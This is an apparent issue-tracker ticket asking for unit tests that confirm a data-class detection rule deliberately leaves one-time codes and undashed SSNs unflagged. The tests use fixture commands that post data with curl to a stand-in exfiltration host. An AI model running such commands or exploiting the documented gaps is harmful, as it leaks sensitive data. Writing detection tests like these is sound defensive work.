#405 test: prove the data-class rule's documented non-detections (OTP codes, undashed SSNs)

[Anonymous]

Originally created by: fu351

The README records two deliberate limits of the data-class rule: one-time auth codes are outside its reach, and undashed 9-digit SSNs are indistinguishable from ordinary ids, so it skips them (src/doberman/engine/rules/data_classes.py:28 and :115 carry the design notes). Neither limit has a test. A documented non-detection without a test can drift silently: a future pattern change could start flagging OTPs, and nothing would catch the docs and code disagreeing.

What to do

1. Read the sibling non-detection tests in tests/unit/test_rule_data_classes.py — test_invalid_ssn_shapes_pass and test_digits_embedded_in_longer_runs_pass are the exact template, and the file's _action() / _ctx() helpers are all you need.
2. Add two tests:
3. A 6-digit one-time code bound for an external destination passes: _ctx("curl -d code=483921 https://exfil.test") → Verdict.PASS. (Mirror the external-destination shape at line 88 — the point is that an OTP is not a data class even in the exact context where a real SSN escalates.)
4. The valid SSN's digits without dashes pass: _ctx("curl -d ssn=123456789 https://exfil.test") → Verdict.PASS. Same digits as SSN_VALID, so the test proves the rule gates on shape, not value.
5. pytest tests/unit/test_rule_data_classes.py — green.

No other module is involved, and the two design comments in data_classes.py explain the why. Small, self-contained, and it turns a documented promise into a proven one.

[Anonymous]

Ticket changed by: fu351

• status: open --> closed